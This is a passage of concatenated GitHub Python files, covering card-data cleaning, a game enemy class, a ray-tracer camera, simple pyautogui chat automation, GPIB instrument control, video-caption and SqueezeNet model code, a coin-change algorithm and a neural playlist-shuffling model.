return(c_set)\n\n# remove UN-sets\n# remove Dungeon type\n# check two-face\n\nrows = []\nignore_count = 0\n\nfor key in keys:\n for d in data[key]:\n if not(has_forb_type(d)) and not(has_forb_set(d)):\n if \"side\" in d.keys():\n m = double_face_re.match(d[\"name\"])\n if m:\n name = m.group(1) if d[\"side\"] == \"a\" else m.group(2)\n else:\n name = d[\"name\"]\n else:\n name = d[\"name\"]\n \n printing = get_print(d)\n if printing:\n colours = d[\"colors\"]\n red = \"R\" in colours\n green = \"G\" in colours\n black = \"B\" in colours\n white = \"W\" in colours\n blue = \"U\" in colours\n text = \"{EMPTY}\" if \"text\" not in d.keys() else d[\"text\"]\n text = re.sub(r\" \\({Q} is the untap symbol.\\)\", \"\", text).lower()\n if \"{q}\" in text:\n print(text)\n \n rows.append({\n \"name\" : name.lower(),\n \"printed\" : printing[1],\n \"r\" : int(red),\n \"g\" : int(green),\n \"b\" : int(black),\n \"w\" : int(white),\n \"u\" : int(blue),\n \"text\" : text,\n \"subtypes\" : d[\"subtypes\"],\n \"types\" : d[\"types\"]\n })\n else:\n print(\"Row ignored\")\n\n\ndataframe = pd.DataFrame(rows, columns=[\"name\", \"printed\", \"r\", \"g\", \"b\", \"w\", \"u\", \"text\", \"types\",\"subtypes\"])\ndataframe.to_csv(\"sanitized_cards.csv\", sep=\"|\")\n\n","repo_name":"Pickersgill/cardclassifier","sub_path":"datamine/acrew.py","file_name":"acrew.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"15790003641","text":"from .life import *\nfrom .impact import *\n\nclass Enemy(Life):\n def __init__(self, game, animations, attack_timming, attack_end, attack_cooltime, direction = 1, location = vec(0, 0), speed = 0, attack_point = 0, hp = 0, area = 50, aggro_area= 50, die_mp = 15):\n self.groups = game.all_sprites, game.visibles, game.lifes, game.enemies\n Life.__init__(self, game, self.groups, animations, direction=direction, location=location, speed = speed, attack_point= attack_point, hp = hp)\n self.area = area\n self.aggro_area = aggro_area\n self.attack_timming = attack_timming\n self.attack_end = attack_end\n self.attack_cooltime = attack_cooltime\n self.start_time = 0\n self.allow = True\n self.none_operate = ['공격', '바닥충돌']\n self.die_mp = die_mp\n self.fly_states = ['부유', '추락']\n\n def movestate_update(self):\n if self.state != '죽음':\n if self.floor_contact():\n if not self.operation:\n if self.velocity.x == 0:\n if not self.state in self.none_operate:\n self.state_set('통상')\n self.operation = True\n if self.walk_control_l:\n self.walk_l()\n if self.walk_control_r:\n self.walk_r()\n if not (self.walk_control_l or self.walk_control_r):\n self.state_set('통상')\n self.friction_switch = False\n else:\n if self.friction_switch:\n self.velocity.x -= ((self.velocity.x > 0) * 2 - 1) * friction * TIME\n if -20 < (self.velocity.x) < 20:\n self.velocity.x = 0\n else:\n self.friction_switch = False\n if not self.state == '부유':\n if self.state == '추락':\n self.state_set('바닥충돌')\n else:\n if not self.state in self.none_operate:\n if self.walk_control_l or self.walk_control_r:\n self.state_set('걷기')\n else:\n self.state_set('통상')\n self.move()\n\n\n if self.velocity.y > 0 and self.state != '부유':\n self.velocity.y = 0\n\n else:\n self.velocity += self.acceleration * TIME\n if not self.state in self.fly_states:\n if self.velocity.y > 0:\n self.state_set('추락')\n else:\n self.state_set('부유')\n\n if self.ceiling_contact() and self.velocity.y < 0:\n self.velocity.y = 0\n \n self.rect.center += self.velocity * TIME\n\n self.physics_update()\n\n if self.state == '공격' or self.state == '넉백':\n if self.game.player.rect.centerx < self.rect.centerx:\n self.walk_control_l = True\n self.walk_control_r = False\n else:\n self.walk_control_r = True\n self.walk_control_l = False\n\n if self.state == '공격' and self.attack_end >= self.animation.p_frame >= self.attack_timming:\n self.make_attack()\n \n if not self.allow and ((time.time() - self.start_time) > self.attack_cooltime):\n self.allow = True\n \n if self.die_check():\n self.state_set('죽음')\n\n\n def move(self):\n if self.operation:\n if abs(self.game.player.rect.centerx - self.rect.centerx) < self.aggro_area:\n if self.game.player.rect.centerx < self.rect.centerx:\n if not self.walk_control_l:\n self.walk_r_cancel()\n self.walk_l()\n else:\n if not self.walk_control_r:\n self.walk_l_cancel()\n self.walk_r()\n else: \n self.walk_r_cancel()\n self.walk_l_cancel()\n\n if abs(self.game.player.rect.centerx - self.rect.centerx) < self.area:\n self.attack()\n\n def update(self):\n self.animation_end()\n self.animation_update()\n self.movestate_update()\n self.end_damaged()\n \n def animation_end(self):\n if self.animation.end_check():\n if self.state in self.none_operate:\n self.operation = True\n\n if self.state == '죽음':\n self.delete()\n self.game.player.heal_mp(self.die_mp)\n \n elif self.state == '바닥충돌':\n if self.walk_control_l or self.walk_control_r:\n self.state_set('걷기')\n else:\n self.state_set('통상')\n \n elif self.state == '공격':\n self.state_set('통상')\n if self.walk_control_l:\n self.walk_l()\n if self.walk_control_r:\n self.walk_r()\n if not (self.walk_control_l or self.walk_control_r):\n self.state_set('통상')\n\n \n def attack(self):\n if self.operation and self.allow:\n self.operation_cancel()\n self.state_set('공격')\n self.allow = False\n self.start_time = time.time()\n \n def floated(self, v):\n self.state_set('부유')\n self.operation_cancel()\n self.velocity += v\n \n def make_attack(self):\n pass","repo_name":"jwcho2005/Hihi","sub_path":"class_data/classes/enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":5934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"3306262237","text":"import numpy as np\nfrom tqdm import tqdm\n\nfrom maths import deg2rad, norm\nfrom rays import Ray\n\nRAYS_PER_PIXEL = 10\n\n\nclass Camera:\n def __init__(self, pos, dir, fov, resX, resY, clip_dst=0.1):\n \"\"\"\n camera coord space:\n --------> X\n |\n |\n |\n Y V z into screen\n\n\n \"\"\"\n self.pos = np.array(pos)\n self.dir = norm(np.array(dir))\n self.fov = deg2rad(fov)\n self.resX = resX\n self.resY = resY\n self.fovX = self.fov\n self.fovY = 2 * np.arctan2(np.tan(self.fovX / 2), self.resX / self.resY)\n self.clip_dst = clip_dst\n\n def set_direction(self, direction):\n self.dir = norm(direction)\n\n def get_ray_dir(self, px, py):\n # Dimensions of near clip plane\n clip_plane_X = 2 * np.tan(self.fovX / 2) * self.clip_dst\n clip_plane_Y = 2 * np.tan(self.fovY / 2) * self.clip_dst\n\n # Center camera view\n px_offset = px - self.resX // 2\n py_offset = py - self.resY // 2\n\n pixel_pos_cam_space = np.array(\n [\n clip_plane_X * px_offset / self.resX,\n clip_plane_Y * py_offset / self.resY,\n self.clip_dst,\n ]\n )\n pixel_pos_world_space = norm(\n np.matmul(self.cam_to_world_matrix(), pixel_pos_cam_space)\n )\n\n return pixel_pos_world_space\n\n def heading(self):\n dir_x = self.dir[0]\n dir_y = self.dir[1]\n # +x = 'north' = 0 rad\n heading = np.arctan2(dir_y, dir_x)\n\n return heading\n\n def elevation(self):\n dir_z = self.dir[2]\n # vertical up = pi/2, horizontal = 0, etc.\n return np.arcsin(dir_z)\n\n def cam_to_world_matrix(self):\n cam_x_in_world = np.array(\n [-np.sin(self.heading()), np.cos(self.heading()), 0.0]\n )\n cam_y_in_world = norm(\n np.array(\n [\n -self.dir[0] * np.sin(self.elevation()),\n -self.dir[1] * np.sin(self.elevation()),\n np.cos(self.elevation()),\n ]\n )\n )\n cam_z_in_world = self.dir\n\n matrix = np.column_stack([cam_x_in_world, cam_y_in_world, cam_z_in_world])\n\n return matrix\n\n def world_to_cam_matrix(self):\n return np.linalg.inv(self.cam_to_world_matrix())\n\n def draw(self, scene):\n pixel_data = np.zeros((self.resX, self.resY, 3))\n for n in tqdm(range(RAYS_PER_PIXEL)):\n for px in range(self.resX):\n for py in range(self.resY):\n ray = Ray(self.pos, self.get_ray_dir(px, py))\n pixel_data[px, py, :] += ray.trace(scene)\n\n return pixel_data / pixel_data.max()\n\n\nif __name__ == \"__main__\":\n cam = Camera([0, 0, 0], [1, 0, 0], 90, 800, 600)\n print(cam.elevation())\n print(cam.heading())\n print(cam.cam_to_world_matrix())\n print(cam.world_to_cam_matrix())\n print()\n print(cam.get_ray_dir(401, 301))\n print(cam.dir)\n","repo_name":"franklinscudder/RayTracer","sub_path":"camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"22937180238","text":"import pyautogui as pg\nimport time\nimport webbrowser\n# while True:\n# time.sleep(4)\n# pyautogui.typewrite('Hello! Motherfu**ing :D')\n# time.sleep(2)\n# pyautogui.press('enter')\n\n# time.sleep(2)\n# print(pg.position())\n# pg.moveTo(562, 755, 2)\n# pg.leftClick()\n\nurl = \"https://www.facebook.com/messages/t/100017290625742\"\nwebbrowser.get().open(url)\nprint(pg.position())\n# pg.moveTo(970, 1079, 2)\n# pg.moveTo(1026, 1052, 2)\n# pg.leftClick(1026, 1052, 1)\n# pg.keyDown('ctrl')\n# pg.press('t')\n# pg.keyUp('ctrl')\n# pg.moveTo(661, 479)\n# pg.leftClick()\n# pg.typewrite(\"hello bạn\")\n# pg.press('enter')\ntime.sleep(10)\n\nfor i in range(6):\n pg.keyDown('alt')\n for j in range(i):\n pg.press('tab')\n pg.press('enter')\n pg.keyUp('alt')\n pg.moveTo(959, 1026)\n pg.leftClick()\n pg.typewrite(\"hello bạn\")\n pg.press('enter')\n #pg.hotkey('alt', 'tab', 'enter')\n","repo_name":"nxhawk/AI-helper","sub_path":"function/auto.py","file_name":"auto.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"33363039108","text":"\"\"\"\nA general instrument class that returns a status for each command sent\nor recieved from its instrument. This allows it to be used with the \"com\"\nfunction in the main algorithm, when visa fails it does not halt the\nwhole program but reports the failure instead.\n\"\"\"\nimport visa\nimport time\nclass INSTRUMENT(object):\n \n \"\"\" This instrument class really is only a function to read and write to\n some instrument, using pyvisa. It has a general 'dictionary' to which\n more key word arguments can be added, and more sub functions can be\n used to make instruments specific. It can be used very generally, as just a semd\n and recieve class which also wraps each communication with a check to see if the\n communication was sucesful. \"\"\"\n\n def __init__(self,inst_bus,letter, **kwargs):\n self.com = {'label':'','address':'', 'Ranges':[], 'measure_seperation':'0', 'NoError':'',\\\n 'reset':'','status':'','init':'','Make_Safe':'', 'error':'', \\\n 'SettleTime':'0', 'DCVRange':'', 'SetVoltage':'', 'operate':'', \\\n 'standby':'','MeasureSetup':'','SingleMsmntSetup':''} #command dictionary\n self.com.update(kwargs) #update dictionary to include all sent commands.\n self.label = self.com[\"label\"]\n self.com.update(label=str(letter)+str(kwargs['label']) )\n self.range = eval(self.com['Ranges']) #Use eval here or string operations? Like split multiple times.\n self.address = self.com['address']\n #ensure values are ints\n try:\n self.com_settle_time = float(self.com['SettleTime'])\n except:\n print(\"settle time made into 1 on \"+str(self.com['label']+\", from unreadable: \"+str(self.com['SettleTime'])))\n self.com_settle_time = 1\n try:\n self.measure_seperation = float(self.com['measure_seperation'])\n except:\n print(\"measure seperation made into 0 on \"+str(self.com['label']+\", from unreadable: \"+str(self.com['measure_seperation'])))\n self.measure_seperation = 0\n \n self.inst_bus = inst_bus #save the instrument bus, either visa or the simulated visa\n\n def create_instrument(self):\n\n \"\"\"\n Needs to be called prior to any commands being sent or recieved.\n Creates the visa instrument object, to which commands will be sent\n and recieved. \n \"\"\"\n\n success = False\n string = str(time.strftime(\"%Y.%m.%d.%H.%M.%S, \", time.localtime()))+' Creating '+self.label+': '\n try:\n self.rm = self.inst_bus.ResourceManager()\n self.inst = self.rm.open_resource(self.address)\n string = string+\"success\"\n success = True\n except: #There are a number of issues visa might raise?\n string = string+\"visa failed at address \"+str(self.address)\n return [success,None,string]\n \n def send(self,command):\n \"\"\"\n From here a command is sent to the instrument, surrounded by the try block.\n If the command fails, it does not halt the problem but sends back a failed status.\n \"\"\"\n success = False #did we read successfully\n #string to be printed and saved in log file\n string = str(time.strftime(\"%Y.%m.%d.%H.%M.%S, \", time.localtime()))+' '+self.label+': ' \n\n try:\n self.inst.write(command)\n print(command)\n time.sleep(self.com_settle_time)\n \n string = string+str(command)\n success = True\n except self.inst_bus.VisaIOError:\n string = string+\"visa failed\"\n return [success,None,string]\n \n def read_instrument(self):\n \"\"\"\n Similar to the send function, but reads and expects a return value too.\n \"\"\"\n val = '0' #value to be returned, string-type like instruments\n success = False #did we read successfully\n #string to be printed and saved in log file\n string = str(time.strftime(\"%Y.%m.%d.%H.%M.%S, \", time.localtime()))+' reading '+self.label+': ' \n try:\n time.sleep(self.measure_seperation)\n val = self.inst.read()\n string = string+str(val)\n success = True\n except self.inst_bus.VisaIOError:\n string = string+\"visa failed\"\n return [success,val,string]\n\n def initialise_instrument(self):\n \"\"\"A specific instrument command to the ref-step algorithm,\ninitialises instruments with a set of commands\"\"\"\n success,nothing,string = self.send(self.com['init'])\n \n \n \n return [success,nothing,string]\n\n def make_safe(self):\n \"\"\"specific to the ref-step algorithm, should turn instruments off\"\"\"\n success,nothing,string = self.send(self.com['Make_Safe'])\n\n return [success,nothing,string]\n \n def inst_status(self):\n \"\"\"specific to the ref-step algorithm, used for reading status\"\"\"\n success,nothing,string = self.send(self.com['status'])\n\n return [success,nothing,string]\n\n def reset_instrument(self):\n \"\"\"specific to the ref-step algorithm, reset routine\"\"\"\n success,nothing,string = self.send(self.com['reset'])\n\n return [success,nothing,string]\n \n def set_DCrange(self, value):\n \"\"\"specific to the ref-step algorithm, setting a DC voltage\"\"\"\n \n \n \n line = str(self.com['DCVRange'])\n line = line.replace(\"$\",str(value))\n out = self.send(line)\n \n return out\n \n def query_error(self):\n \"\"\"specific to the ref-step algorithm, reading the instruments error\"\"\"\n success,nothing,string = self.send(self.com['error'])\n\n return [success,nothing,string]\n \n def set_DCvalue(self, value):\n \"\"\"specific to the ref-step algorithm, set a DC value for sources\"\"\"\n line = str(self.com['SetVoltage'])\n line = line.replace('$V',str(value)+'V')\n out = self.send(line)\n return out\n\n def Operate(self):\n \"\"\"specific to the ref-step algorithm, operates sources\"\"\"\n success,nothing,string = self.send(self.com['operate'])\n\n return [success,nothing,string]\n \n def Standby(self):\n \"\"\"specific to the ref-step algorithm, puts sources on standby\"\"\"\n success,nothing,string = self.send(self.com['standby'])\n\n return [success,nothing,string]\n\n def MeasureSetup(self):\n \"\"\"specific to the ref-step algorithm, pre measurement sequence set up\"\"\"\n success,nothing,string = self.send(self.com['MeasureSetup'])\n\n return [success,nothing,string]\n\n def SingleMsmntSetup(self):\n \"\"\"specific to the ref-step algorithm, should any commands be sent prior to an individual measurement\"\"\"\n success,nothing,string = self.send(self.com['SingleMsmntSetup'])\n\n return [success,nothing,string]\n\n","repo_name":"AtillaTheFun/RefStep","sub_path":"Sphinx_documentation_attempt/modules/gpib_inst.py","file_name":"gpib_inst.py","file_ext":"py","file_size_in_byte":6926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"26041130959","text":"# coding: utf-8\n\nimport pickle\nimport h5py\nimport torch\nimport torch.utils.data as data\nfrom args import train_caption_pkl_path\nfrom args import feature_h5_path, feature_h5_feats\n\n\nclass V2TDataset(data.Dataset):\n '''\n Video to Text数据集的描述类，用来加载和提供数据\n 支持MSR-VTT和MSVD数据集\n 构造的时候需要以下输入：\n 1. 提供文本特征的pkl文件\n 2. 包含视频帧信息的h5文件\n 提供文本和视频h5特征，以及根据caption的id来返回数据\n '''\n\n def __init__(self, cap_pkl, feature_h5):\n with open(cap_pkl, 'rb') as f:\n self.captions, self.lengths, self.video_ids = pickle.load(f)\n h5_file = h5py.File(feature_h5, 'r')\n self.video_feats = h5_file[feature_h5_feats]\n\n def __getitem__(self, index):\n '''\n 返回一个训练样本对（包含视频frame特征和对应的caption）\n 根据caption来找对应的video，所以要求video存储的时候是按照id升序排列的\n '''\n caption = self.captions[index]\n length = self.lengths[index]\n video_id = self.video_ids[index]\n video_feat = torch.from_numpy(self.video_feats[video_id])\n return video_feat, caption, length, video_id\n\n def __len__(self):\n return len(self.captions)\n\n\nclass VideoDataset(data.Dataset):\n '''\n 仅提供视频特征以及相应ID的数据加载类，\n 之所以单独提供这个类是希望加速评价指标的计算\n '''\n def __init__(self, eval_range, feature_h5):\n self.eval_list = tuple(range(*eval_range))\n h5_file = h5py.File(feature_h5, 'r')\n self.video_feats = h5_file[feature_h5_feats]\n\n def __getitem__(self, index):\n '''\n 返回一个训练样本对（包含视频特征和对应的ID）\n '''\n video_id = self.eval_list[index]\n video_feat = torch.from_numpy(self.video_feats[video_id])\n return video_feat, video_id\n\n def __len__(self):\n return len(self.eval_list)\n\n\ndef train_collate_fn(data):\n '''\n 用来把多个数据样本合并成一个minibatch的函数\n '''\n # 根据video的长度对数据进行排序\n data.sort(key=lambda x: x[-1], reverse=True)\n\n videos, captions, lengths, video_ids = zip(*data)\n\n # 把视频合并在一起（把2D Tensor的序列变成3D Tensor）\n videos = torch.stack(videos, 0)\n\n # 把caption合并在一起（把1D Tensor的序列变成一个2D Tensor）\n captions = torch.stack(captions, 0)\n return videos, captions, lengths, video_ids\n\n\ndef eval_collate_fn(data):\n '''\n 用来把多个数据样本合并成一个minibatch的函数\n '''\n data.sort(key=lambda x: x[-1], reverse=True)\n\n videos, video_ids = zip(*data)\n\n # 把视频合并在一起（把2D Tensor的序列变成3D Tensor）\n videos = torch.stack(videos, 0)\n\n return videos, video_ids\n\n\ndef get_train_loader(cap_pkl, feature_h5, batch_size=10, shuffle=True, num_workers=3, pin_memory=True):\n v2t = V2TDataset(cap_pkl, feature_h5)\n data_loader = torch.utils.data.DataLoader(dataset=v2t,\n batch_size=batch_size,\n shuffle=shuffle,\n num_workers=num_workers,\n collate_fn=train_collate_fn,\n pin_memory=pin_memory)\n return data_loader\n\n\ndef get_eval_loader(cap_pkl, feature_h5, batch_size=200, shuffle=False, num_workers=1, pin_memory=False):\n vd = VideoDataset(cap_pkl, feature_h5)\n data_loader = torch.utils.data.DataLoader(dataset=vd,\n batch_size=batch_size,\n shuffle=shuffle,\n num_workers=num_workers,\n collate_fn=eval_collate_fn,\n pin_memory=pin_memory)\n return data_loader\n\n\nif __name__ == '__main__':\n train_loader = get_train_loader(train_caption_pkl_path, feature_h5_path)\n print(len(train_loader))\n d = next(iter(train_loader))\n print(d[0].size())\n print(d[1].size())\n print(len(d[2]))\n","repo_name":"arieshx/ssta_video_caption","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"79"} +{"seq_id":"74588075774","text":"import pymongo\n\n\nclass LocalData:\n\n def __init__(self, host, port, dbname):\n # self.client = pymongo.MongoClient('mongodb://%s:%s@%s:%d/%s' % (settings.\n # MONGO_USER, settings.MONGO_PWD,\n # host, port,\n # settings.\n # MONGO_AUTHDB))[dbname]\n self.client = pymongo.MongoClient(host, port,\n socketTimeoutMS=20000)[dbname]\n self.collection = self.client['test_data']\n\n\nif __name__ == '__main__':\n LocalData('47.100.39.147', 9017, 'lilytest').collection.insert({'time': '2018', 'time2': '2019'})\n","repo_name":"BockeyE/pyprac1","sub_path":"Functions/DBConnector/pmongo_test.py","file_name":"pmongo_test.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"6470805302","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"This module implements SqueezeNet models.\"\"\"\n\nfrom __future__ import annotations\n\n__all__ = [\n \"SqueezeNet1_0\", \"SqueezeNet1_1\",\n]\n\nfrom abc import ABC\n\nimport torch\n\nfrom mon.coreml import layer as mlayer, model as mmodel\nfrom mon.foundation import pathlib\nfrom mon.globals import MODELS\nfrom mon.vision.classify import base\n\n_current_dir = pathlib.Path(__file__).absolute().parent\n\n\n# region Model\n\nclass SqueezeNet(base.ImageClassificationModel, ABC):\n \"\"\"SqueezeNet.\n \n See Also: :class:`mon.vision.enhance.base.ImageEnhancementModel`\n \"\"\"\n \n configs = {}\n zoo = {}\n map_weights = {}\n \n def load_weights(self):\n \"\"\"Load weights. It only loads the intersection layers of matching keys\n and shapes between the current model and weights.\n \"\"\"\n if isinstance(self.weights, dict) \\\n and self.weights[\"name\"] in [\"imagenet\"]:\n state_dict = mmodel.load_state_dict_from_path(\n model_dir=self.zoo_dir, **self.weights\n )\n model_state_dict = self.model.state_dict()\n \"\"\"\n for k in self.model.state_dict().keys():\n print(f\"\\\"{k}\\\": \")\n for k in state_dict.keys():\n print(f\"\\\"{k}\\\"\")\n \"\"\"\n for k, v in state_dict.items():\n if \"features.\" in k:\n k = k.replace(\"features.\", \"\")\n else:\n continue\n model_state_dict[k] = v\n if self.weights[\"num_classes\"] == self.num_classes:\n model_state_dict[\"13.conv.bias\"] = state_dict[\"classifier.1.bias\"]\n model_state_dict[\"13.conv.weight\"] = state_dict[\"classifier.1.weight\"]\n self.model.load_state_dict(model_state_dict)\n else:\n super().load_weights()\n\n\n@MODELS.register(name=\"squeezenet-1.0\")\nclass SqueezeNet1_0(SqueezeNet):\n \"\"\"SqueezeNet-1.0.\n \n See Also: :class:`mon.vision.enhance.base.ImageEnhancementModel`\n \"\"\"\n \n configs = {}\n zoo = {\n \"imagenet\": {\n \"name\" : \"imagenet\",\n \"path\" : \"https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth\",\n \"file_name\" : \"squeezenet-1.0-imagenet.pth\",\n \"num_classes\": 1000,\n },\n }\n map_weights = {}\n \n def __init__(self, *args, **kwargs):\n kwargs |= {\n \"config\" : \"squeezenet-1.0.yaml\",\n \"name\" : \"squeezenet\",\n \"variant\": \"squeezenet-1.0\"\n }\n super().__init__(*args, **kwargs)\n\n\n@MODELS.register(name=\"squeezenet-1.1\")\nclass SqueezeNet1_1(SqueezeNet):\n \"\"\"SqueezeNet-1.1.\n \n See Also: :class:`mon.vision.enhance.base.ImageEnhancementModel`\n \"\"\"\n \n configs = {}\n zoo = {\n \"imagenet\": {\n \"name\" : \"imagenet\",\n \"path\" : \"https://download.pytorch.org/models/squeezenet1_1-b8a52dc0.pth\",\n \"file_name\" : \"squeezenet-1.1-imagenet.pth\",\n \"num_classes\": 1000,\n },\n }\n map_weights = {}\n \n def __init__(self, *args, **kwargs):\n kwargs |= {\n \"config\" : \"squeezenet-1.1.yaml\",\n \"name\" : \"squeezenet\",\n \"variant\": \"squeezenet-1.1\"\n }\n super().__init__(*args, **kwargs)\n# endregion\n","repo_name":"phlong3105/deepacov2","sub_path":"src/mon/vision/classify/squeezenet.py","file_name":"squeezenet.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"69823912255","text":"\"\"\"\nGiven a value N, if we want to make change for N cents, \nand we have infinite supply of each of S = { S1, S2, .. , Sm} valued coins,\nhow many ways can we make the change? The order of coins doesn’t matter.\n\nFor example, \nFor N = 4 and S = {1,2,3}, there are four solutions: {1,1,1,1},{1,1,2},{2,2},{1,3}. \nSo output should be 4. \nFor N = 10 and S = {2, 5, 3, 6}, there are five solutions: {2,2,2,2,2}, {2,2,3,3}, {2,2,6}, {2,3,5} and {5,5}. \nSo output should be 5.\n\nTo count the total number of solutions, we can divide all set solutions into two sets.\n1) Solutions that do not contain mth coin (or Sm).\n2) Solutions that contain at least one Sm.\n\nLet count(S[], m, n) be the function to count the number of solutions, \nthen it can be written as sum of count(S[], m-1, n) and count(S[], m, n-Sm).\n\nwhere m is the size of coin set.\n\"\"\"\n\n\ndef coin_change(coin_set, m, sum):\n # We need n+1 rows as the table is constructed\n # in bottom up manner using the base case 0 value\n # case (n = 0)\n table = [[0 for x in range(m)] for y in range(sum + 1)]\n\n # Fill the entries for 0 value case (n = 0)\n for i in range(m):\n table[0][i] = 1\n\n # Fill rest of the table entries in bottom up manner\n for i in range(1, sum + 1):\n for j in range(m):\n # Count of solutions including S[j]\n x = table[i - coin_set[j]][j] if i - coin_set[j] >= 0 else 0\n # Count of solutions excluding S[j]\n y = table[i][j - 1] if j >= 1 else 0\n # total count\n table[i][j] = x + y\n\n return table[sum][m - 1]\n\n\ndef coin_change_recursive(coin_set, m, sum):\n\n # If n is 0 then there is 1\n # solution (do not include any coin)\n if sum == 0:\n return 1\n\n # If n is less than 0 then no\n # solution exists\n if sum < 0:\n return 0\n\n # If there are no coins and n\n # is greater than 0, then no\n # solution exist\n if m <= 0 and sum > 0:\n return 0\n\n # count is sum of solutions (i)\n # including S[m-1] (ii) excluding S[m-1]\n return coin_change_recursive(coin_set, m - 1, sum) + coin_change_recursive(coin_set, m, sum - coin_set[m - 1])\n\n\nif __name__ == '__main__':\n coin_list = [1, 2, 3]\n m = len(coin_list)\n sum = 4\n print(coin_change(coin_list, m, sum))\n","repo_name":"liquidpie/algorithms-py","sub_path":"dynamic_programming/coin_change_permutations.py","file_name":"coin_change_permutations.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"71587430016","text":"from torch import nn\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom deep_shuffling.dataset import create_playlist_dataset, PlaylistDataset\nfrom deep_shuffling.neuralsort import NeuralSort\nfrom deep_shuffling.softsort import SoftSort\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nmatplotlib.use('qtagg')\nn_batch_size = 1\nepochs = 32\nmaximum_playlist_length = 1024\nn_embed = 16\nn_heads = 8\ndevice = torch.device('cuda')\ntorch.cuda.manual_seed(1337)\ntorch.random.manual_seed(1337)\n\n\ndef project_p(P_hat):\n dim = 512\n P = torch.zeros_like(P_hat, device='cuda')\n b_idx = torch.arange(1).repeat([1, dim]).view(dim, 1).transpose(\n dim0=1, dim1=0).flatten().type(torch.cuda.LongTensor)\n r_idx = torch.arange(dim).repeat(\n [1, 1]).flatten().type(torch.cuda.LongTensor)\n c_idx = torch.argmax(P_hat, dim=-1).flatten() # this is on cuda\n brc_idx = torch.stack((b_idx, r_idx, c_idx))\n\n P[brc_idx[0], brc_idx[1], brc_idx[2]] = 1\n P_hat = (P - P_hat).detach() + P_hat\n return P_hat\n\n\nclass MultiheadAttentionBlock(nn.Module):\n def __init__(self, in_features: int, n_embed: int, n_heads: int):\n super().__init__()\n self.query = nn.Linear(in_features=in_features, out_features=n_embed, device=device)\n self.key = nn.Linear(in_features=in_features, out_features=n_embed, device=device)\n self.value = nn.Linear(in_features=in_features, out_features=n_embed, device=device)\n self.multiheadattention = nn.MultiheadAttention(embed_dim=n_embed,\n num_heads=n_heads,\n dropout=0,\n batch_first=True,\n device=device)\n\n def forward(self, x, mask):\n q = self.query(x)\n k = self.key(x)\n v = self.value(x)\n x = self.multiheadattention(query=q,\n key=k,\n value=v,\n key_padding_mask=mask,\n need_weights=False,\n attn_mask=None,\n average_attn_weights=True)\n return x\n\n\nclass ShuffleModel(nn.Module):\n def __init__(self):\n super().__init__()\n self.b1 = MultiheadAttentionBlock(in_features=2, n_embed=n_embed, n_heads=n_embed // 2)\n self.relu1 = nn.ReLU()\n self.b2 = MultiheadAttentionBlock(in_features=n_embed, n_embed=n_embed, n_heads=n_embed // 2)\n self.relu2 = nn.ReLU()\n self.b3 = MultiheadAttentionBlock(in_features=n_embed, n_embed=1, n_heads=1)\n self.sort = SoftSort()#NeuralSort(tau=1)\n self.l1 = nn.Linear(in_features=2, out_features=n_embed, bias=False, device=device)\n self.l2 = nn.Linear(in_features=n_embed, out_features=1, bias=False, device=device)\n\n\n def forward(self, inp: dict[str, torch.tensor]):\n # x: {\"constant\", \"must_vary\"}\n xc = inp[\"constant\"]\n mask: torch.Tensor = inp[\"mask\"]\n #x, _ = self.b1(xc, mask)\n x = self.l1(xc)\n x = self.relu1(x)\n x = self.l2(x)\n #x, _ = self.b2(x, mask)\n #x = self.relu2(x)\n #x, _ = self.b3(x, mask)\n B, N, _ = x.shape\n x = torch.reshape(x, shape=(B, N))\n x = torch.masked_fill(x, mask=mask, value=-torch.inf)\n x = self.sort(x)\n return x\n\n\nclass PermutationMatrixLoss(nn.Module):\n def __init__(self):\n super().__init__()\n\n def forward(self, M: torch.Tensor):\n B, N, N = M.shape\n M2 = torch.square(M)\n M_abs = torch.abs(M)\n column_loss = torch.sum(torch.sum(M_abs, dim=2, keepdim=True) - torch.pow(torch.sum(M2, dim=2, keepdim=True), exponent=0.5), dim=1, keepdim=True)\n row_loss = torch.sum(torch.sum(M_abs, dim=1, keepdim=True) - torch.pow(torch.sum(M2, dim=1, keepdim=True), exponent=0.5), dim=2, keepdim=True)\n loss = torch.squeeze(column_loss + row_loss)/N\n return loss\n\n\nclass ShuffleLoss(nn.Module):\n def __init__(self, lambd: float):\n super(ShuffleLoss, self).__init__()\n self.avg_pooling = torch.nn.AvgPool2d(kernel_size=(3, 1))\n self.permutation_matrix_loss = PermutationMatrixLoss()\n self.lambd = lambd\n\n def forward(self, permutation_matrix, features):\n features_sorted = torch.bmm(permutation_matrix, features[:, :])\n avg_feats = torch.sum(features_sorted, dim=-2)\n shifted_features = torch.roll(features_sorted, -1, -2)\n pooling = self.avg_pooling(features_sorted)\n noise_squared_diff = (features_sorted[:, :-1, :] - shifted_features[:, :-1, :]) ** 2\n noise_loss = torch.sum(noise_squared_diff)**0.5\n pooling_squared_diff = (pooling - avg_feats) ** 2\n global_level_loss = torch.sum(pooling_squared_diff)\n #permutation_matrix_loss = self.permutation_matrix_loss(permutation_matrix)\n loss = noise_loss + global_level_loss# + self.lambd*permutation_matrix_loss\n return loss\n\n\ndef train(model: nn.Module, dataset: PlaylistDataset):\n data_loader = 